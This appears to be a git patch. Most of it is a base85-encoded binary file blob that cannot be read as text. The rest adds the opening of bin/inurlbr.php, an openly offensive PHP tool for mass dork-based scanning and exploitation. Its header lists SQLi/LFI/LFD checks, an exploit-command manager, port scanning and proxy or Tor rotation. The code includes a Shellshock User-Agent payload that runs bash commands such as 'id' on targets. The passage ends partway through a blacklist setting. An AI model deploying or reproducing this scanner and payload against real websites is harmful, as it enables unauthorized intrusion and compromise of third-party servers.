ztfJ=@)tJ!rVNLlf?x_{lbJF1o#p?=fug?@K^zCU7ipC?HjFDaRgod<^Hk{YMd z+kSEc z{a9vWXs^UtY|7T$@A_cC-q62^&*_=k$GMJMApaXJjK9q1(i!y%#l!Nq<>yTJYpAD8 zsl!!(;hzYNUJBJ6W4v>!hZY^t8b{%Rw)XFJDBoOWSeKdR5+ zd@kY=F6S!d`6(>FM*fvsxtpJC4)f~D?9Tg}<=^=aW1SEE*La_N={Ty-w1Y$Y@`_>o zskVfijz6oHkZZFpH*>6iA7+pIkP+>dZq`?$Zy3LqTz+fF-TfZ@iQf^FdLHVPI9k7{ zJYxB!a$fu4uzZ2Ny*_)oh3(6>EsVROc(9Y)gT2|8^BHw}=>M0`mEqR^rTT@Up}nU( zfMa-sm-&P*`QeVReCEG{S>+Ne%R2mqZP}6iIgBIuE06JCZf;&Q!vFq@xHA}=iJ6)i znVSV!iFMeK(|DTgJb%6~C*2j+mzfLf&xjuu``>gTyvu^xKaCaYCFL9?!t#~mYW#`= z98ay~4(!Ll9KkW1!!ggMX+)DnmS;(t>uFO*3!$0^J|KWW`+7p(K&y*~}Dy+rkY|E+qm5(2W@g_tL z^PkChzlHj2zX!}GuaaBJ)osrgZ0tU|yY{{u-z|(cL>|e)&fhcSx%`O}E`;UQ%D?j{ zuQ8|3x3X-;Zk)|UT*VC>>3VIyJlXz!E@$f><`HFI@CVmTO`Hddybkqf+T$=0Q?L{# za2n_E5;N@&<5grWwqOTl`zG`|XMS_lf8tX9%*(vT;y$12dp?tONEokx&)FiZ$i&}; z_EGXuR<9K5`{fI~$JgxAJM=4gFj$tAc*{7eU0)ol7W#d&CfM-z;8XX%^W-(}h2!^G zf#6E@t^Av}nf;G2&bslzs`5A7?S1eEFBS~rUX*Wey8iQcmUEp~-|>2WUofmEP0uh+ z>sKK^)c+}8GQy$I9)-~ulX01lN!ii3Ddi8Cjv1JRIrs_lu^@}GyK&3P6aUtxQI)+l54nuo7m#3@cM0&cX2Nd z@-UC{6wmPzud)z*EugxUPJd&s}+%=V>qAw%b43&xd|djtAp2Kg;tgHeol8N{ zJu5$DA(mn#)?__4WgB+kNRHzVoWsRj&5hi_{XEJu{EtughEY$1?TEu9OwEs(oq1V= zWmuWDSfAgpExYnt4&i7{;!MuxGOp!j?&k0OljnJjxA}-K8RcZy{+LY2luXAg{DcKr zk`-BcuI4Y?#^3k{|6~i}o|CWeChzen-|*ej zVSmM9LZ)EMDB=8;R?f&A%*(1y`@Lt#cqpaXhDS34i7e zrt%!)p8S|~`iA*#^!#Cl>y>ft2mY-d+7J2M9+)v4zlps+>Yoekqq(0ac$(eTgnp-e z4>PA^$Pctf_j#Y18JM5{)C}vL<36|T;E)rz{#j?dd9FV?S*{xwsSlSol@05kF0bYW zCM_Gre;gyY)bd-jpXP0z`!9?aab|Fp{_#BzNWqWzUa8P8#gt%S_06vHipiyztxcH6 zuda_8tGDK3>tAcVBh?o$=8mwQ{MNfq{V-3ki1thJRsO@fe8U76!??d#Zyovkn^0f< zPMCLN^%Vm`?jiT*N^a(E9_4{SVZ1Dtg6BLZEhG=;gTF$1q|3n+EX`^h@L`z85#KjN zx)S>DFCL68Ct)VmVMBhy*8GkWxRVE&-QVNilJ7Cvh++}`_uo^W57*a*dHl!cjIu7& zV>2n!ejk=k-zT)^my56zE3hiRU_CZw3$|lcT7Jwd%)w9j8H=za%ds-6 zvo`Co5x-$8wr3aiWM2;AaE|79&gMF9=5FriadvxqK9sNX79a6BYj_^^MvnS-*uM#w znjbSK^RXDqvLX|14&!_-S7&Y3VeV153g<8{~g0h2?h02f4ae=oha-uu$n>^qaw= zEw#(3xN=pfkM}&hbnGyGIqi>pUfuS(FZ?(3Kg3gf_g1KX$^vZ8z8t{8oZ$P0QSx;@ zW4zm8+=NWR9nC^LpInGVS%RfGF=p7V?(uoEV|rNsJ;!l{yCK)_5bPq4;x+!uJG{q-Ts$=_U%+)! zd8Tw6rDs+3uh@azIg<;xgj=|syZF1;@sZqYP}trN?}ho4VMTt0y;DBJ!}r7b_S?_ZZ0~*bCminm7w19fpOo2Ih{?SltH@ulVEM3pS3I;IUlW|IzKGj- znRi%Ybm*VxNwCwN;2`TCtUjlEsP}Q-xk7!lDV@*J+k}F z`P!Fq4L5NoZ}af9uza?)!7A=EBioOuSVuk9@UXu>QqRNp?AMm^k`ZCNx{jkx>IZU! z<-5zR%_Gvl(0_>fNRH!l&f!8X;jfOzAKHa+`Y#Wz(|(-ic$tx&hkkDsg?XisvoI&~ zGHS2TuaI1vo%f*+59O-57N1xyC$h%!H#FumXTrVzHq!T!cS>pU~p^~(_V(=)Zt;~A!S6_!uW z%xuCnJisG-#VD`C@(GxS#o5Vu_VAm~?-VaFT7+<%O?RGHz(ndP`5`kgCs*oUTCT(z z{ECg(g6-Lj-*Pa2G46Nrc>ciIT*MVz$IaZu1KeTUqw;B9;td|quYSa^e-`sGi~Bqn z%`?2o7i`}=EdQzVb0H4pSpL9`JjS!U!hiXYuNmL_EDH;;B5U$%cI7hu!qZ&rJpDwD z;Qg1K`Ph%sS-w~}&Nj(s&xPEsN!SndyziT^9ml^tA8;Qd`1kuh^Zt%6CuLFfRB~?) zWdxrW2joBbUbHZue5}D$u4fv^gSodu*p9*eB_1d0We$BSr&2zlMte*Q8WqG#YG_OmS1!4Rro5ObO)_#Zw zd6rS#hs0$rHeqYdV5C@K{CwQw{8e54niu(i&)Kehm{(NybqQFQ#aN2vxWV?NS{IgY zsNQBm$cMTHJF9o+KhER*V_uhlGB~`$tt=NHG*_#76jH5Y$KX4Woa4A=FJvVbF_wf+_-dDnD~9naI!|tF9gdHm@ayu`_${TMpzfj^a2@=5)^Dd@kk+uHi4-!kyg9-+7cL zc$SxVjW>Ch5BZF*89BN4H)Ap$6Eg)r;782F?EHlJS(wFHh80;R8P9D@IBYUZ1Fp$#_i6 z+h{_wf)<@H!*!4)4dV&4Yi{3G=?etV2TnG-a?rxzKOu z*o=R|C~#(p4JG#if7(F zzmX3z=|`b|6Ru>Dk3+ozzvehj;R3GaCSK-em&5kN&Je~c+&!2?PQ}F~Lccv#gIU!_ zyMOtsL8#|fFT~QE>UEvTd0fnuZ}XtA{!Q`@Rx?gR{%ODO)&4t=@+8mkFP^sib@{yf z5C2nt#>k%QKGy!6=|+cnZtWV3oH6*&>ljUL?|4fjf54BJi5ZKB{dd>>@2pw&XZ|qm z@GBv=)W3M^P><^T`D90EFMTL@wNhxWIV$92&SOI?KZ3s-XSTeEi9Da)BOhhj>0#X4 za@0&AS9p7#tQm4z&r3g7ztAnr<8%GnF@B#=Kj(cjQT^(@P@f~uXD;_SE94El+$!|H zIWMe#xB79`_B?EUuh1UH`!x|$^JC`Xi0Wb7Kg@s4(U6;JZ^H~ePd=&`+PkXvVm}V% zBCg^-=5ijoCqL#(M#>WAAC)oLnqT^!`HyOZ_LAzEhlX*ky$M!PufxV1&B4ALn?=H?_UY|u=W!?$G^C_ zMCkXK>x#{_!}3wG1%L27KZ4`&X0On{o%i$m`rR?_>21PtY1NC)3;oNmGQaZuO+z;0 z^|!|>BP|Ha=kodUa!eS1mhpeg9&%&fZ!|w1`VW#j$Rp%Jw?g{^`5Awm9O`kcCj)bE z!TQj?K;Bw31Dh@_nY|$IQZ<%)uI$Oa z9K_)q&GDSV8Jxp~T*;l>&(jyeaeZHY%-kD7J%j6yUYx-dT+jVH%#*D0S$I9ZW^Ybr zWS^HC<%sn{|Go0LnPDEcv1>KJ|WX|MJ@6Sku!t&{vo!@XGXLBK+^b7OYAaCQEwqd+Q z&R2h{-{yTj=1V3j9G0uf25igD9K+jl!}=fG58hNyS0Us~Te#Feo z!8|O;;w;O`tije?#yiYjCd{Wj*K-qh%?|DN$te&?aSj-NE;!g85e zkyTlT4cMHQ-7j>LADPD=@>RZM`to5t*;tiLnBYNpKTVf6^FfcWT(kp$n^58htC`hKmae(B{y?(@f~ui_S7;(cbT80Jx&rC65b{LVC8lhALxdi%{``<_k@ z_1Wt4n7UV}FO(N^JvVYQw{a)Wd0qF&`*@6}c$OD<-8`?n&CHe|%;&!Robf7!dM;My zm;8m>xRby0FpqJ9-^HAeKli%SU^Um_{ro#RXY{M1{i0mFN7%nN>**ibf1TDavHyI)R60YohMWZ{VM5~+v||s=fp(MOLzJHvbTPztJsgs)G*}g z@{hi^Z6LQ~Uryx=?)AHbUGi1l=3_3}5$2nsYFOWg{4GkzYqS?o|AyUI*8Am0c@qya zO0_UfLZ;%NR$;wG3Dsk{z0vhH#*qfO$hyH!#1^VA{UWgwpv`^Q5+xuXw z{gHfJXkT46%;zWlRzU8ouflSr)!#1| z`oFXv<~uK!(>~jAvygjiXRbtHoV+Z^+Rl^p*oe*8njP4c2aMZK9?TIO!wH9YeTe)@9wSfSRLt=13stoZQ%HWl*Hbn z)GDe*O4VMGPpu5=&Uwyrp8ed{g{`nX9_0KT%9>S~bWTCOMOb}~K(7DrDE!bn}t`vI$nGqIjaPO_f5 zJl@}9d9L=-z8p7VB_5CSPnP4~hQ})(?vMK5iRQ9=1o2E>U{*jf4o;dVTPC-595;8Tp``QvS_my%s%eKoNjw!pd7W&c+a@4|b0esz=c`U34) zd0w_?n~ZypxB}L~hFH3Z^czKd3h&`yE_XU_+0X1ajqiE3C+>owI2b2kG%mp9_&Lvi zU#yk=I7WK}`<1z?Y_~cdcaeAk`?cR);(jb2h$At~S(e8T-xwm>IYWF22h@=Ehs5qa zGOj+ir!QDf2<@NZI{X%YVZYB4UkH%(Wa}o@!g|;gBXBfMz$rKb=iyR}!F9M5_v2wa zfoCyyciA5wjKQZ^uZJw3f@jgwSK7mHF-G!u@HO!vbn=t_c`!c~M_25|^S<)Lo)}(P z#&^(u7=U3IfxmM6za;(|SK|i!8872)Ou)xji^qj_Hf4zJ@~wDpqxPmeiq z!BA-r;qk5!?JIfR(U!Oqj>T-uniY7NcMLzx9g4c+m11`H-1aD=d@?#^}Q=L9wq$}qUCb*qkR^- zcu4z&uHwj}Vz(d}cNlB-k@#z@5+d<-E`K-TgZL0r_mh5E@og-OYv;=HfI{NgnX>(! zEZ@fUu(*M=XAG5oO|Tt)i92yWCg3AH&+~+_oQH+OWPMezE#~03?=9u>bfmqjj>Ew?3MXO|dQX?* z8$%q2C-5}p;CX2UtbqZznCE>9V`Y5@J5Eh**>#I3N_Nz7qyd&*{>Pq`a`j5kT_++*$-$=Zl=Ye;L-)<($qpQpM z8V(Zu@$0d&yv}!G`F`R+mXE+l4CZ-9?!(eAiuUO^2N&Z?T!SZZB)7x$+|Pt_zKy^| z7=vLv|NEWz4wf1sm&X(PVQ$_JnM1q`x8hIu3qC<79%s^GF1))ywo{9^1A3z$2I81S z(tjZF7dRUi<2SeikKt*>zbkzQ8;YvYk>`5#6vYc1C~nPa;Ne@covOsX7=VWu_Zjg#T!X`SJ-CT@5B`Q%vDir2ZVhhN z)rdWCU_)8HeYAL$$DQ^pAA^%{7H;JA%Sz&l_yLczm9Pc+;cV`2j`RGpJ=cpD-lpFn zXW1W@rDAIKFCAvWY?ur4VhwDF-LW4I#x%VDzLNL{ti$cuiTBNq(C!i``xDILL_F<7 zc$}1|*2iYp20LLl^v7TvfWt5nC*o9`iSuz8#^QS1hP&|q9>J4% z4zJ)XOvGpCG@j#xSuqb5z+zY$KfBi!_xQ>Rz-KLk4>>Pc0?cSg?+I6rreH}5pTrfSdiz*Cy8(1ZG1FT#`os_;U4Yxc-?t~``zQ%i0^ejSs=%$9QV)9 z8Q1f=tj}qpEO)`|_#UpnZMX~f;+H%>JVkts`!VOwWWBLGer4hQxFYTKaRc}N9f*T) zJWj^Fn0gZXi+f8;T$uR8I}*1de!}sYM4W-gje+%~-(K1;;yq0KT$YE=5;H`JMQ}II zZ+py<_HSwb4u8NS7?0=hGTy*~yv`_zHLxzW#17aWC*V*XH}?^bApQ)e;BHz82j<^&0 z;BefD4>8pjGOivr!cN!^2VgX|;(dYvEoA>6JrOstd{t-j{3!cVp12BL;C`$o@h{V)U$aKCo=R*lvxmgJh=VW`2jOsBgv&7&*WqO> zK10@96Ki9AY=WNH7CT}O9EekJCa%WKxC`U)9zMZLGi87BV<~Kmt#AMi!!h_dPRA9v z77yVmypB&WRkUnB3l_$9=!3)YQ=E*^xCXc2Zu}9C<7vEvxA8F+;Qq2ldfBfK;!${= z$GI`Y<8U+9^^xFnXr@>m6HVr{ICP0$m2vEH`C9nl+mpg;D(P#lP#;zaDg^>>%JIFDoA zxP$Em5{KeoJj~;Y^FldZ88AJMN7;z;V09dV+i-U&86UxVN8vb(!s$2%7vltsZ0H0$T_9H!}WB;=f=f-MS3+rNI^u%^J7`Ngh%)Cf0Zy_v(AK*t=8EfFj*ce;k zU>t>0aSk@)et16dH<+9Ii8aK|ydMyhNA|CAUU3J@Te-{q&V!BOA=XUgCH>hnbei^5R$$U9l`yz?ztq*E>Ck`(i%~ z$ALHm%RQ3Iv$I*;&XH=FXPhU;V}}QLf4kEy@u$C9k3e)U>HW=Sd79MxByq+8r+I|@F1SR-|!kH z;4@6!O7=Gs=E8#bK7NQ*u{Jiw*4P<+u@Cmg;W!SbU^FhmRk$9%#qaS5p27=w0~7HD zI=7a~nFZg*cd-L^|1whf?d%c`{59b#7Q_E=izdU!?K)rA7Mot7AyOoncG!P%!h@s zIJ#m0k3Ut2-SA^9_lc}GG)x?hTiBmn_#+<2v-msS#V6?0R@RpRb7BE}56fU>bjOC+ z5<6md48(98hGQ`bXW#-{fopLa?!`lR63^o`Ou%QDx}99kOqd%BVF@gU)vyjW#@5&w zeX$P?z!5ker{XMJjH_@xev2;cWq*6&0nEqyWED6cHuAn@B0EQmwt_cXI? zCuW0Oo?@^#G#BEiJ#)iEOK1d;UwDk5r08^iueNFz*yEFhwE@7Zo%z1ll47k ze44DX{mhsL3u8(A2&>~<*3*=DC+pvh`*1)0gokm!*K)li5U+6IJoFbI(*6_|x=Q;p zw0X&RCv?X2m>DmAAmj3u5p&R<9kXE`e9r5&-}wBj3-9}8&lE0h85s6|0;&<5IR^pww7YnhxD0=a|fJsrZo-M>*4VBB4n$P3Lg~{>uC}sdg9PP>DPhy7aYOy&DBTxPviaa4~bjiV*G^VXNY%2%DC?_ zuCK&rH!tvb4e(Ynr zCAs~F;|28XFWZ@jb=kiHyw5P0$EWJVK@Da9PIG?5ddv7VIAfs14S8Q>V10?b!ev|t z?PGUI`v&48=rLH@$Kk42iQSvZ_ye>b!7G?~i1f>YBltXO2Ju{cz;-I|d0|z&!}9x> zo%f-d|8aYl?LVb`T!d^dp{2BMZYw(F7fUpf)38I@mySp%WxIO;Rf7_J8>@_z{7YP zPvKd-h_^5SAK`OM^||c7GiJb?m=_CTQ7nNU;73>)YoG@JD&j&-pWc1Ax8 zz+eo=!8jb_YsvMxnK)avTDGL0r@FkS#4(el-&t%EEAga8;>;=HZXQRT){%I?LzYh! z*Wyid{zBTTVANWP$MAW7B<-_sA+E)rH0F8Zp)Y0peSCsfFn>R}JjL*{Y0^Iy4|}jb z)5Ua;#a&;CiTDT?5100KGsG<1ujkt-@q@;)y)G^Iijl-6q9u04x|kwVuJ2r*iuZ3xzXF`M+v#_n=PTb4JI#`QMbHN$Fr4R!XNlAD z{50Ea8J7pcFzTSRZy+Ab{pmhF?=Lrpajd5faaZ)k0F1zKScS_|7k{Sx%6wUG#RcLB ze6UF3ZD+(>_2l@ZT`qAstc8BqAIIQSOz9@$##I-;r@hSA5|8HnmXy0BcH;TmXKXi! ze$y}-=i^dbg$26FdfM?iVh`>6@fbeDlq;lvt}rosoLGqCU61Qy6a9Y1d@H5jU>uFL z+5ZQ>%JO5h7hffD)Id3&4cX6P?IqstC(A205M5%#vV0FJJC6&yTTB068GjoS@F6}$ zTX$KH6FOshjNT>7w+s-Yd0c+X`JS16bNpp_cH$X#B+kw83K>Dn^2W3W<6UoA9yvw! zKZ@6nUDrzca6F$V@pr_hG1WS0&xy}#NNjT#{b=uv-Fbanx1lU=%6`@3bzvi{!*Ttc z_k(ZZrb4oxjW^2p*4PbwxE)1tKeK|{OZH9DKVJ?RKaRN2W@)d9x!7)R;y_-PWD1mV zvuU4)3vmf9$CVh16_(2QIO1*i(H7Z$2F}a4MiRH@xOBq8qoh6mR!8*uOCP z55xxBq<=V{2Q+>x@gbI1V-O|q&128c`+NY$F^<~*3@!St3?n&IH zhqR9-9*6UBDVE(U{p#Ud{2sq*BJ0huPx_t365mVg%5jVzCh^y_yElIRH~=g2 zKEXu~Sw5Ba2l(z0X|I9T=odjehwV)vzK%0^pV;YV8J`s!pbv)OBy7v=ecVwQcN^;- zlXw>1$L7CCdl4QVIuUnaJzo$<;{sfc-{1z^j(hM&Jc@p-H=g)BUd2235MN;G6SAKf zFgxbO^iFbp6()Wk%V0&UfpxGEdSZL@!Wxrgy}rbO7>a{&B#y%GS2F*ZU^Y>!^(i-8!5gK;E|!zi4F zvvCowz&PB5J8&N!#N&7xFW@!2i;vKDisOVCF$d6**!^*V9Mrn0>yzl+y+KXyN{TTf}va#ftn^XePi zzm>l(?Y@}(hQvR=Bis3c`~Um2d*77hoAE53VV>C?_V*g^hb3SG?yvKGEaSt8m*ZCK zF;ceMl=lZ(Uk?UBa*G%=Ssa!iF2&P$qldKLC2n_L;*dvT zYM!_M%Hv*(L}_n}KgUTtm-r^OoG9%h89y&v;=w%re#7zj_@T5n$F(yhPQ~M}EBE8g zc%048ezhacFjkIRQQFh7pFN3xC?m^Lj*#_^racN5<8s`@@roz@4PPvg^>{v(^|VKC zJj>;oH$;|yPWx=!hF3Ai6X{n9PkKmvGfK>qTDDj2TZzA=-&;>5{*mL^lK2pxyPm*P zT(9$aA163g#yQ($y)(HU7GVzBV~9T{Zj3GQ6ZA$u48jeJA5Xl4_y_EiLbksQ6VW}T zv`@q*800JMk(@^x@jPC`Qk)N3=iaPqul4M;ZhfVBd*<|VxuUUB28qw0Sw~&#rCZfU*E;7` z^~tU3k~^wDZdG@DVlz2U&HCb6N8GF*{ztuV-Z#|x-dc}a>t}1dYe)5=wJvmW>p}lh z_gT&_=eNc5m<4lUUi_!-vmB@YFLj@_-m_JGXRCV7TEAKAHfw!mt;1~AU;b&Q+;3>T z<=3sFtaXyL4zkuY_Bb!=)%wN1Es*QatVgVMh^^`mYkgs}o^W#O1#6vPtq**X=Nl14 zWPh|Su-5;r@|)~;e%}AoI=p7x-Pf(R`=)hv&APhDt*4vZI=NaG*WF)^ht|2(`nFon z)~b$eA>OAk>(Xld*@e8Ht94|xeryijk2dSTYQ0ypzN=MTSF;|g)?w9pt7e^5vrekk zL%qxSs&!1wdZk*YRO^pwT~V`ssMZa&su!wtLe2W1W?fLN2l~48JuPE}O|74)bu+bIrq;>S`k0RDVw&|Z&AOK% z)#Q4ys&lFJE6uuh~Tb;PuOnAQu^x?s=T<@jm+FROZATHnj6u9w#3(mGmN_e$$jX;^?9@ok5&C0t+(T-&W_gA(Rw;&{T!{Aqjhi0IyYL^#;j+P+&VT|x5lhjqjhSu zE{$1_#!(#_v;K_Mk9plXF%3@v7pwX$TDL{(v1lC@v;KXJCBKcaO;tm=tq9T67~xt(3;Dr(&jvo45LeGjvqht}`V zx*f@_*P(Sftm<=U9S*Itq4hP)dKy;sGhVlDhFKp&>t1M`3$1Sv=PAeSuhy~9x)oZF z!ciRxtNIhktt(;HlQ8Q@X#EJS8(~!+LhC|k{RgYM4`zJ_t>a)-zd`FVXq^SKZi3cH z(0T}F{R6Y!fmz=`>l&DK3>?)hFzXR${Q<2zp!Ei{&VX4*K9uq1JrUnrHgVdAZ-yywYa=Xw4gK=7-jN&}JTJGw-wJch)@4X1-?4(`=QW zS@SQOd6&(6%U1c6lbbJD^CUaUhpc&yUpJ4j<}KDd#hRbkDj%_*mGPJh+a%~PrQC^ZkI=AG0$lbT0T^G0fZ zNX-YSc^);7qvmPUyo_c(M$N;h`4_G7E^59-Gq0kJpDBCfc>k;OD*mhU$C-KKUN?`} zU(Fx(@6H?c@5&SQ@6HeQKQ%AdzdIk;zbpUOo96wp%JcPi<@a)w*Guzunfbb2H&2(D zpG)&`B{%Pu=GQXwXgSI+WtCUT%qOLJqpb2lY5ph8`(%~xN%J~c8H($}eDnF6tBeKdvWab@u z(|ki_o}mf6k7$)o$jl?8`Ga0JZ;+WUNb>_}ULef_Waj@d^RmSEto8C4nWOwFnpefl zqhjVsG4r8VxMRbeQ=$%)A_C-VH~2 zHvYHf&$#O?*RPp3L-S;q`7z8q7-rrJGv9@yd=_RNi+@%Aiocq-Li1EO%1@zrC^Y|s znRmj>HxaNyu8+QG=8?#_QH_nioRzL1-QbtNag+@;xLs&x4uALGw45 z`57GLWzhT!R{0gI@+xRP1rE_{=YfT-)cU;&g1WXUM{yk{!f{& zuk-PB{=Ck2*ZJu>pWK`euJgBbUUYKjL7VfQt>!yh&2!fI%{s67P3JS~JZ7D@tn-x} z%~RI-$>zLdoquf3H#X-P>%3x}Pn_I&#OAzVtNFsOJ3m4qdAe^pKUe49zUjPMtNFH8^K3(zcdPSiUw1yOIgeK7&!%*#WlQ?`5MOtGYy?qRvAMB9DDP9E7czkFWCxb^f5$ zyg_rmpw1IaRaW+MFZlqbG0!aVU1>Mx1O8p}`;M}`y~wxzLMb_}%}R?_^XUSacWKU- zGv~>f^W$`0oH-BfpLuR_yc-3|_2bWcwm$f}^W0`J?q^I}N!IU%p;(Uj1I3viH4t^a z)L)$^Wi>Bq7W1LZc~4iW%YNQKbAD41@_3X$b6%6rIyrv#-DN#GZ)qs~t>zou>o5JC z8;Y4w=NTn;e$ju|ydj-0WX=ovu9@ubk{xon_wYOU7OHjd`iyy?7|*PSn;^J4z4`7q}E7jwSL zO^%~Ezr~!_@;UjQ%=s)<^H{9rtt5Aziq21QG%rQxpXj`k06)$fw3=t4^Ga6slJi05 zlPu-)Wt}f#&J#IGKC55IQ?xi*wzsjjXwDDG(nQuDUR_)jApIQ82XXO`{(sjzkg??N zsuCvK*ZCbfe?#YO=zNV)+)sH=m;KQB7v?;RM&t=^g`Kbm24PX^WF>bV#lS(bpN{5F ztmn8|&5ua#{D;%zx4VSqJcrkv-=OmubpFDc5psEI)Rp7uXnuk@FX520jMsSxX{aN& zaBj|-~!Zn0Y{1BQRf2`Y`^%dB~n^>YZ#Q>=M~HSevy?`xIMQs2kb z_iy$6In9%2zTc*K?KEGVzHg@Q+i1S9nR(>;K8*T)g}#5F`Gxd#{j!nL-+X;;zOF9# zzVy@A$#>7o`J%5gGm^izF0Z#Ve}cZg(AO3Ext>pXOQKB)7dbsn_N@73o=`g}zn z&-HQ7(?j-0A2+P-fA#)T=LzY&AiZDG`yZX}qW24W``xgBra}5X#>E>F?y?*HsuO37_0{Xdn_w)1jDedQDb4`kT zy@Gvhu0H((g8TOtL;A{+&~AN${Q?92Q_$JItZz4eucQI|7vvw3v`Ihv-;i$M_P^cj zfqhw^k5`D7&9$3v=k9&IdUxyW>ti3Qk&Ni<)wi!#e;J|w_v~u#W?#EkZ@;egO$XXn zX#eB-ax1b%@8DqDU;asFUqcG}Z%SQLN;mnBhJ4zNNqt}a$z~7I*nf3=zLakE$Y#q& zL&2BPpMRYG{P*R5h3tP{9bYY_+spQ9j4$#s`ty%DzLI^>TlQbwewUPP_Q+=ILPI@v zIQ7d`o6Q+@Js;WQ#1}6Db^MZ4ZZCT*NhKYVmM8s~cxN`0 zbQzO&MYo^Z{(sWX$M)Z(t~&lo8aI1nvt3CVVE@_3{!1k5(EpQcV*h>d%Kp!DaZ75p z&2xE)t+nvS{_A$sPwdN|zcT(I;~z3Ug7HbaleC|@|1{fr+W$$qh`PS;v~DjKg{OUq zEnN6x`#N4Pe~5kgtK)Ao{x;*ga2%74e+K)nIev(}E$I;H_0ue)n?17Gnq_>64J5Gt z)$3gw`rH3`b$l1bcVS>Ny znA=}uU-;_y+l;@>_&D7$R$^{H#@?QEsJWVLw(VZhbGvNc>~F@K?Y%R-GTxc-&dD6V z*FH9BOS=8cjL)3R@dxZRIpPTWy8Lw9iH|IajUp)_w8QagjLoR>r9sl*^*W+-? z7+;X_1sPvSR%7oaKRQmmU~hi)@^{%O+wZbd2JUUGmrTYN6#n>o)&5`7y0n+u+udF+ qEB literal 0 HcmV?d00001 diff --git a/bin/inurlbr.php b/bin/inurlbr.php new file mode 100644 index 0000000..6014906 --- /dev/null +++ b/bin/inurlbr.php @@ -0,0 +1,3861 @@ +#!/usr/bin/php -q + SQLI, LFI, LFD. + - Filter and validation based regular expression. + - Extraction of email and url. + - Validation using http-code. + - Search pages based on strings file. + - Exploits commands manager. + - Paging limiter on search engines. + - Beep sound when trigger vulnerability note. + - Use text file as a data source for urls tests. + - Find personalized strings in return values of the tests. + - Validation vulnerability shellshock. + - File validation values wordpress wp-config.php. + - Execution sub validation processes. + - Validation syntax errors database and programmin. + - Data encryption as native parameter. + - Random google host. + - Scan port. + - Error Checking & values​​: + [*]JAVA INFINITYDB, [*]LOCAL FILE INCLUSION, [*]ZIMBRA MAIL, [*]ZEND FRAMEWORK, + [*]ERROR MARIADB, [*]ERROR MYSQL, [*]ERROR JBOSSWEB, [*]ERROR MICROSOFT, + [*]ERROR ODBC, [*]ERROR POSTGRESQL, [*]ERROR JAVA INFINITYDB, [*]ERROR PHP, + [*]CMS WORDPRESS, [*]SHELL WEB, [*]ERROR JDBC, [*]ERROR ASP, + [*]ERROR ORACLE, [*]ERROR DB2, [*]JDBC CFM, [*]ERROS LUA, + [*]ERROR INDEFINITE + + [+] Dependencies - (PHP 5.4.*): + sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl + + + [+] Play LIST TUTORIAL: + https://www.youtube.com/watch?v=jwjZUsgf9xM&list=PLV1376pVwcCmcoCmq_Z4O0ra4BqjmhIaR + + + +--------------------------------------------------------------------------------------+ + | | | G R 3 3 T S | | | + +--------------------------------------------------------------------------------------+ + * r00t-3xp10t, Jh00n, chk_, Unknownantisec, sl4y3r 0wn3r, hc0d3r, arplhmd, 0x4h4x + * Clandestine, KoubackTr, SnakeTomahawk, SkyRedFild, Lorenzo Faletra, Eclipse, shaxer + * dd3str0y3r, Johnny Deep, Lenon Leite, pSico_b0y, Bakunim_Malvadão, IceKiller, c00z + * Oystex, rH, Warflop, se4b3ar + + */ + +error_reporting(0); +set_time_limit(0); +ini_set('memory_limit', '256M'); +ini_set('display_errors', 0); +ini_set('max_execution_time', 0); +ini_set('allow_url_fopen', 1); +(!isset($_SESSION) ? session_start() : NULL); +__OS(); + + +/* + [+]Capturing TERMINAL VALUES. + (PHP 4 >= 4.3.0, PHP 5)getopt - Gets options from the command line argument list + http://php.net/manual/pt_BR/function.getopt.php */ +$commandos_list = array( + 'dork:', 'dork-file:', 'exploit-cad:', 'range:', 'range-rand:', 'irc:', + 'exploit-all-id:', 'exploit-vul-id:', 'exploit-get:', 'exploit-post:', + 'regexp-filter:', 'exploit-command:', 'command-all:', 'command-vul:', + 'replace:', 'remove:', 'regexp:', 'sall:', 'sub-file:', 'sub-get::', 'sub-concat:', + 'user-agent:', 'url-reference:', 'delay:', 'sendmail:', 'time-out:', + 'http-header:', 'ifcode:', 'ifurl:', 'ifemail:', 'mp:', 'target:', + 'no-banner::', 'gc::', 'proxy:', 'proxy-file:', 'time-proxy:', 'pr::', + 'proxy-http-file:', 'update::', 'info::', 'help::', 'unique::', 'popup::', + 'ajuda::', 'install-dependence::', 'cms-check::', 'sub-post::', 'robots::', + 'alexa-rank::', 'beep::', 'exploit-list::', 'tor-random::', 'shellshock::', + 'dork-rand:', 'sub-cmd-all:', 'sub-cmd-vul:', 'port-cmd:', 'port-scan:', + 'port-write:', 'ifredirect:', 'persist:', 'file-cookie:', 'save-as:' +); + +$opcoes = getopt('u::a:d:o:p:s:q:t:m::h::', $commandos_list); + + +/* + [+]VERIFYING LIB php5-curl IS INSTALLED. + (PHP 4, PHP 5) function_exists — Return TRUE if the given function has been + defined. + http://php.net/manual/en/function.function-exists.php + + [+]Verification - CURL_EXEC + Execute the given cURL session. + This function should be called after initializing a cURL session and all the + options for the session are set. + http://php.net/manual/en/function.curl-exec.php */ +(!function_exists('curl_exec') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} INSTALLING THE LIBRARY php5-curl ex: php5-curl apt-get install{$_SESSION["c0"]}\n") : NULL ); + +/* + [+]VERIFYING use Input PHP CLI. + (PHP 4, PHP 5) defined — Checks whether a given named constant exists + http://php.net/manual/pt_BR/function.defined.php */ +(!defined('STDIN') ? __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]} Please run it through command-line!{$_SESSION["c0"]}\n") : NULL); + + +#[+]Resetting VALUES $ _SESSION ['config'] +$_SESSION['config'] = array(); +$_SESSION['config']['version_script'] = '2.1'; +$_SESSION['config']['totas_urls'] = NULL; +$_SESSION['config']["contUrl"] = 0; +$_SESSION['config']['cont_email'] = 0; +$_SESSION['config']['cont_url'] = 0; +$_SESSION['config']['cont_valores'] = 0; + +#[+] FILE MANAGEMENT EXPLOITS. +$_SESSION['config']['file_exploit_conf'] = 'exploits.conf'; + +#[+] FOLDER WHERE WILL BE SAVED PROCESSES. +$_SESSION['config']['out_put_paste'] = 'output/'; + +/* + [+]USER-AGENT EXPLOIT SHELLSHOCK + (CVE-2014-6271, CVE-2014-6277, + CVE-2014-6278, CVE-2014-7169, + CVE-2014-7186, CVE-2014-7187) + is a vulnerability in GNU's bash shell that gives attackers access to run remote + commands on a vulnerable system. */ +$_SESSION['config']['user_agent_xpl'] = "() { foo;};echo; /bin/bash -c \"expr 299663299665 / 3; echo CMD:;id; echo END_CMD:;\""; + +#[+]BLACK LIST URL-STRINGS +$_SESSION['config']['blacklist'] = 